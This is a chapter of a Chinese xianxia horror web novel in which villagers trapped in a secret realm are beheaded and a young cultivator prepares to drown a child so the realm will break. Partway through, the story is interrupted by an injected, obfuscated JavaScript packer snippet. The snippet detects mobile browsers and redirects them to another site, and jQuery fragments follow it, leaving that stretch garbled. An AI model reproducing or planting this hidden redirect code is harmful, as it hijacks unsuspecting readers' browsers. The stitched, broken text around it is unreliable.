咕噜噜……
咕噜噜……
哪来的水声?
泉芷猛然回过神来,摇摇头晃出脑中的水声。再一睁眼定神,就瞧见自己还在马家院中,双手攥着小马懿的衣领。她记起自己说要杀他的事,但不知方才为何走神了,仿佛去了一个很远很远的地方……
转头一看,已经不见了泉绮的身影,只有李二婷警惕地拉住她的手腕说:“小芷,你冷静一点!有什么事好商量。小懿只是一个三岁小孩……”
“不!他是——”
咚。
泉芷正要分辨,但手上被什么砸了一下,她诧异看去,手背上沾了血,视线一移,地上有一个球正在滚动——正是马懿的小脑瓜。
说要杀人的她却是吓了一跳,好像只是揪着领子的她真的是罪魁祸首。泉芷和地上的马懿对视着,诧异地退了一步,又听一声“咚”,她抬眼看去,抱着无头孩子的马三这会也是无头人了。
“怎么……”回事?
咚。她猛一转眼,这次掉头的是李二婷。
什么意思?
她们为何一言不合就掉头了?
看着院里三个咕噜噜的人头,泉芷感到自己的头也摇摇欲坠起来,她下意识往院子外跑,冲到路上看见两个村民,见她惊慌失措的模样还有些奇怪,正张嘴要问的时候就咚咚了。
“啊!”曾换月发出一声惨叫,两脚几乎腾飞地避开了脚边的人头,闭上眼睛往唯唯家跑去。
搞什么啊!!
跑吧,跑啊。
院子里跳舞的人旋转跳跃甩飞了头颅,他的脑袋落在树枝上,默默地注视自己不受控的身体接受死亡的安排倒在地上。身首分离是它和它最好的归宿,毕竟从来也不熟的。
这家门口,黄家女人倒在黄家男人身上,五百年前她竟然只有对方的一半身量,但脑袋是一模一样的大,二人双目相对着,脸上还带着一些笑意——分明方才还吵过架呢,真是对长情夫妻。
再往前跑,胡家三人还在门口吵架,这时院子里冲出来一个拿着酒壶的老头,醉醺醺地把酒壶往他同样醉醺醺的儿子头上一砸,他儿子脑袋就被砸掉了。老太婆发出一声尖叫,气急地推了老头一把,老头也是呆呆地往墙上一撞,咚。
老太婆吓晕了,倒在地上,咚。
傻女人漠然地看着这一切,忽然抬起眼来看向跑来的顾梦真,在他惊惧放大的眼中把自己的脑袋扭掉。
顾梦真满眼血色,感到有人掐住了自己的喉咙,他发不出声音,只埋头苦跑。
一路跑来一路死人,一个个人头仿佛在为他们指引方向,但怎么都赶不上这暗中凶手的杀人速度。
血液在地上流淌,血气在空中弥漫,海螺村被浸染渗透;红脚印一步一显,错乱着往前延展去,所经之处岁月如袭来的海水,一涌翻去几百年。
“唯唯!”
顾不上死在门口的陈二娘,她破门而入,瞧见唯唯背对着坐在院中,正摇着扎了两个小揪揪的脑袋哼着歌,和手中的单眼布娃娃说话。
听到有人叫她,她欣喜地回过头来,一只眼里笑意盈盈:“姐姐你回来啦?娘说你们去了河那边……”
曾换月连忙扑过去把她抱在怀里,一只手按住她的头,生怕一眨眼这颗小脑袋就错位掉下来了。
唯唯很是奇怪,视线顺着从门口进来的血脚印转到曾换月鞋上,心中感到一些茫然的可怖:“姐姐,地上好多血……”
曾换月顾不上回复她的话,她已分不清自己在哪里,九百年前还是五百年前?亦或是已经回到了真正的海螺村?
她不知道,只感到一种可怖的威压正在逼近,手中紧捏着几张符纸,警惕地打探着四周,忽然发现门口踩入了另一对脚印,正缓步朝她们走来。
“不要过来!”她吓得头皮发麻,尖声大喊道,“你是谁?为什么要杀这么多人!?”
血脚印停在了二人面前,似有些疑惑。
曾换月猜出这坏蛋应是和她们在不同时空,但她在那里杀的人在这里也会死……怎么办,如果让这人找到了另个时空的唯唯……
事到如今,只有将所有时空融合,然后让师姐师兄对付他,可是……
曾换月看着手中的破镜符,这是元婴期才能学的符箓,她先前是画来玩的,再说她画的符大多都是效果诡异,这张她哪敢用啊?真是到了死马当活马医的关头才硬着头皮一试——比如现在。
唯唯小心地看她:“姐姐,我娘呢?”
“嘘,唯唯乖,等会带去找你娘。”
她真是没招了,只好下定了决心,施法启动了破镜符,好在是有发挥效用的,只见空中浮光一闪,竟隐约瞧见一个拿着剑的人影站在院里。她一眼就认了出来,欣喜大喊道:“师姐!!”
那人影往她的方向看来:“换月?”
“师姐!”曾换月差点要哭出来,抱着唯唯过去抓了抓那虚影,但什么也没摸到,“师姐,你在哪啊?你看得到我吗?”
石映心点点头又摇摇头道:“我只瞧见一个……两个影子。唯唯在你身边?”
“是!”曾换月紧忙道,“村里人全死了,只剩下我和唯唯,师姐,我不知道怎么办了……”
“为什么唯唯不在我这?”石映心奇怪地嘟囔了一句,很快又把这问题抛到一边,“算了,不重要。换月,我已经找到了破镜的办法。”
不愧是师姐!“真的吗?太好了,是什么办法?”
石映心的声音听起来很寻常:“只要杀了全村人,秘境就会消失。”
“什……”
她瞧不见师妹目瞪口呆的表情,继续说着:“我一路杀过来,应是杀得差不多了,只是没找到唯唯。换月,既然她在你那,你把她杀了吧。我去外头看看有没有遗漏的村民。”
她说完就往外边走,走到几步远外就不见了,等曾换月从“师姐杀了全村人”的震惊中回过神来时,石映心已经连个虚影都瞧不见了。
“等等,师姐……”她惘然地看着门口,“我做不到啊。”
她看见怀里的唯唯正抬头看着她,天真的单眼里有缥缈的害怕和不解:“换月姐姐,你要杀了我吗?”
“我……”曾换月下意识摇了摇头,但很快就停住了脑袋,不知做出什么表情面对她,“唯唯……我,我不知道……”
她原以为来到修仙世界这么些年早已习惯了这一切,习惯小师妹的身份,习惯学那些鬼画符,习惯面对神奇的生物……就算没到元婴就下山又如何?有师姐师兄保护,世间的一切都只是新鲜。
如今才明白,原来她是只坐井观天的青蛙,安居于归壹派里一派和谐的好日子,只瞧见师姐师兄的剑光照亮的一方天地。她还没面对几个过凶神恶煞之徒,第一个对手是这个单眼的、手无缚鸡之力的小姑娘……
偏偏是个好人。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964442|173054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她宽慰自己,说这里只是秘境,指不定这些村民都是假的,一定是假的!但如果是真的……如果是真的……她怎么下得了手呢?可不杀了唯唯,她们就要一直困在这里。
她一人就算了……
曾换月纠结中也有坚决:但师姐和师兄不能被她拖累。
所以只能……对不起了。
曾换月死死咬着的唇一松,飞快地掏出一张符箓贴在了唯唯的额间,见她好奇地转着眼珠子打量,还要伸手去拿——她狠心地抓住了她的小手,低声道:“唯唯,等你睡着了就不疼了。”
“姐姐,”唯唯蹙着她稀薄的小眉毛,“你怎么了?”
曾换月喃喃地说:“我对不起你……”
唯唯目露同情地看着她:“唯唯没关系的,我死了之后就什么都不知道了,如果你一直记得,你会难过。”
“……唯唯,你不怕死吗?”
唯唯额间的符箓发起光来,照得她的小脸有几分透明,她突然多长了一只眼睛出来,一双圆圆的杏眼笑意盈盈地看着她,声音有些缥缈:“姐姐,若你知道世上有一死便能解决的业障,那死便是恩赐了。我已经困在这里太久太久,久到我不知道……今生的我到底是谁……”
她用空出来的手轻轻覆上曾换月的手背,拍了拍道:“你别怕,我应该……谢谢你……”
曾换月茫然地明白了她的意思,死对她来说是解脱。可即使告诉自己是在帮她,亲手送走一条生命也让她的心沉甸甸的。她将沉睡的唯唯抱起来,出了院子往村外的海边走去。
在醒不来的睡梦中溺死,这是她能想到的、形式上较为温和的死亡方式了。
……她不是说师姐残暴的意思哈!
说到她师姐,石映心不知道师妹下不了手杀人,还以为唯唯已经死了,秘境未破是因为村民还没死光,这会正在忙忙碌碌寻活人呢。
奇了怪了,以她的六识,若是哪里有动静应该很快就能发现才是,除非那人一动不动。可她都已经从村尾走到村头了,还没什么发现……
等等。她恍然间感到什么,往前几步走去,很快瞧见对面显出一个虚影来,石映心一下心情开朗:“大师兄!”
明易脚步一顿,自然也瞧见她了:“映心?”
石映心应了一声,又说:“大师兄,你有见到什么活人吗?”
明易默了默道:“村里人都是你杀的?”
“是啊,我照了泉绮,这就是她的办法。”
“原来是这样。”明易似乎叹了口气,“我一直在马懿书房中找线索,在一处机关中找到了一本书……算是发现了海螺村的真相。”然后出来人就死光了。
“哦。”石映心对真相不是很感兴趣,只是说,“师兄,你那里有活人吗?把他们杀完我们就能出去了。”
明易想了想:“村中共有144人,你杀了多少人?”
石映心哪里记得啊:“忘记了。”
明易换了个问法:“你杀过最老的人和最小的人是谁?”
“一个八旬,一个两三岁?”她说到这里想起什么,“不过我杀着杀着,发现这会已经是我们刚来时的那个海螺村了,不是九百年前五百年前的……似乎哪里有些奇怪,不过问题不大,我见着的人都死了。”
明易颔首道:“果真如此,看来确实还有一人活着。”
“谁?”
“走吧。”